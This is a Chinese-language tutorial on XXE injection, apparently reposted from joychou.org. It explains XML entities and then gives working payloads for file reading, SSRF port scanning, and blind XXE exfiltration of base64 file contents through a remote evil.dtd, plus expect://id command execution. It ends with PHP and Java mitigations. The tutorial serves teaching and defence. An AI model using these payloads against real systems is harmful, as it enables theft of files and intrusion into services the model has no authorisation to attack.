XML External Entity Injection(XML外部实体注入),即XXE。 漏洞产生原因很简单,由于在xml1.0标准里,DTD可引用外部实体(entity),如果外部实体可被控制,则可能产生文件读取、dos、ssrf等漏洞。 外部实体支持的协议不同,产生的漏洞类型则不同:
file协议可导致文件内容读取
http协议可导致ssrf
phar可利用phar://filter导致文件内容读取 0x01 XML实体什么是实体? 实体是对数据的引用;根据实体种类的不同,XML 解析器将使用实体的替代文本或者外部文档的内容来替代实体引用。
实体,个人理解是定义一个xml变量或者宏,并且对其进行赋值。 XML中实体类型,大致有下面几种: 除参数实体外,其它实体都以字符&开始,实体名,以字符;结束 字符实体对于字符实体,我们可以用十进制格式(&#nnn;,其中 nnn 是字符的十进制值)或十六进制格式(&#xhhh;,其中 hhh 是字符的十六进制值) 比如%表示% 内部实体内部实体又称为命名实体。内部实体可以说成是变量声明,内部实体只能声明在DTD或者XML文件开始部分(<!DOCTYPE>语句中)。 内部实体xml代码: - <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE joychou [
- <!ENTITY param "hello">
- ]>
- <root>¶m;</root>
复制代码解析php代码:(下面所有解析xml代码以及漏洞测试均为该段代码,除非特别申明) - <?php
- $content = file_get_contents("php://input");
- $xml = simplexml_load_string($content);
- echo $xml;
- ?>
复制代码解析结果:hello 外部实体外部实体申明:<!ENTITY 实体名 SYSTEM "URI/URL">
外部实体引用:&实体名; 外部实体语法: - <!DOCTYPE filename
- [
- <!ENTITY entity-name SYSTEM "URI/URL">
- ]>
复制代码外部实体xml代码: - <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE joychou
- [
- <!ENTITY xxe SYSTEM "http://www.sectest.com:8082/xxe.txt" >
- ]>
- <root>&xxe;</root>
复制代码xxe.txt文件内容: - [root@centos html]# cat xxe.txt
- I'm JoyChou
复制代码解析xml后的内容为:I'm JoyChou 参数实体参数实体用于DTD和文档的内部子集中。与一般实体相比它以字符(%)开始,以字符(;)结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。(blind xxe使用的方法) 参数实体申明:<!ENTITY % 实体名 "实体内容">
参数实体引用:%实体名; 参数实体xml代码: - <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE joychou
- [
- <!ENTITY % remote SYSTEM "http://www.sectest.com:8082/xxe.dtd">
- %remote;
- ]>
- <root>&b;</root>
复制代码xxe.dtd文件内容: - <!ENTITY b SYSTEM "file:///c:/windows/win.ini">
复制代码上面那段代码优化下等于下面这段代码: - <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE joychou
- [
- <!ENTITY b SYSTEM "file:///c:/windows/win.ini">
- ]>
- <root>&b;</root>
复制代码两段代码都是获取win.ini文件内容。 0x02 漏洞利用ssrf漏洞产生原因由于:
在PHP中simplexml_load_string默认情况下会解析外部实体,并且在PHP中外部实体支持http协议,导致ssrf。 - <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE joychou
- [
- <!ENTITY xxe SYSTEM "http://www.sectest.com:80/test">
- ]>
- <root>&xxe;</root>
复制代码此时返回如下,很明显是一个HTTP协议,说明80端口open
当把端口换成ssh的2222端口时,返回如下,很明显的ssh协议,说明2222端口open - simplexml_load_string(http://www.sectest.com:2222/test): failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_5.3
复制代码当换个8083端口时,返回如下: - simplexml_load_string(http://www.sectest.com:8083/test): in
复制代码说明80、2222端口open,8083端口close 任意文件读取漏洞产生原因由于:
在PHP中simplexml_load_string默认情况下会解析外部实体,并且在PHP中外部实体支持file、php://filter协议,导致文件读取。 使用file协议: 使用php://filter协议 - <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE joychou
- [
- <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test/xxe.txt">
- ]>
- <root>&xxe;</root>
复制代码返回 当没有回显的时候如何进行任意文件读取? -- 这就是所谓的blind xxe exp - <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE root [
- <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini">
- <!ENTITY % dtd SYSTEM "http://www.sectest.com:8082/evil.dtd">
- %dtd;
- %send;
- ]>
- <root></root>
复制代码http://www.sectest.com:8082/evil.dtd文件内容如下: - <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://www.sectest.com:8082/?content=%file;'>">
- %payload;
复制代码原理很简单,利用dtd可进行http请求,将文件内容进行base64加密后,拼接到url,向自己的服务器发起http请求。 查看日志 - GET /?content=OyBmb3IgMTYtYml0IGFwcCBzdXBwb3J0DQpbZm9udHNdDQpbZXh0ZW5zaW9uc10NClttY2kgZXh0ZW5zaW9uc10NCltmaWxlc10NCltNYWlsXQ0KTUFQST0xDQpDTUNETExOQU1FMzI9bWFwaTMyLmRsbA0KQ01DPTENCk1BUElYPTENCk1BUElYVkVSPTEuMC4wLjENCk9MRU1lc3NhZ2luZz0xDQpbTUNJIEV4dGVuc2lvbnMuQkFLXQ0KM2cyPU1QRUdWaWRlbw0KM2dwPU1QRUdWaWRlbw0KM2dwMj1NUEVHVmlkZW8NCjNncHA9TVBFR1ZpZGVvDQphYWM9TVBFR1ZpZGVvDQphZHQ9TVBFR1ZpZGVvDQphZHRzPU1QRUdWaWRlbw0KbTJ0PU1QRUdWaWRlbw0KbTJ0cz1NUEVHVmlkZW8NCm0ydj1NUEVHVmlkZW8NCm00YT1NUEVHVmlkZW8NCm00dj1NUEVHVmlkZW8NCm1vZD1NUEVHVmlkZW8NCm1vdj1NUEVHVmlkZW8NCm1wND1NUEVHVmlkZW8NCm1wNHY9TVBFR1ZpZGVvDQptdHM9TVBFR1ZpZGVvDQp0cz1NUEVHVmlkZW8NCnR0cz1NUEVHVmlkZW8NCltBbGlpbV0NCkltYWdlTWFuQ2xlYXI9MQ0K HTTP/1.0" 403 4961 "-" "-"
复制代码 远程命令执行在PHP开启了PECL上的Expect扩展时,就能使用expect://协议来执行命令。 exp - <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE joychou [
- <!ENTITY content SYSTEM "expect://id">
- ]>
- <root>&content;</root>
复制代码 0x03 漏洞修复针对php,可使用libxml_disable_entity_loader(true); java: - public static String DDD= "http://apache.org/xml/features/disallow-doctype-decl";
- public static String EGE = "http://xml.org/sax/features/external-general-entities";
- public static String EPE = "http://xml.org/sax/features/external-parameter-entities";
- public static String LED = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
- SAXReader reader = new SAXReader();
- reader.setFeature(LED,false);
- reader.setFeature(EGE,false);
- reader.setFeature(EPE,false);
复制代码 0x04 总结这个漏洞实际利用情况比较少,不过危害挺大的。 参考链接
from:http://joychou.org/index.php/web ... tity-Injection.html
|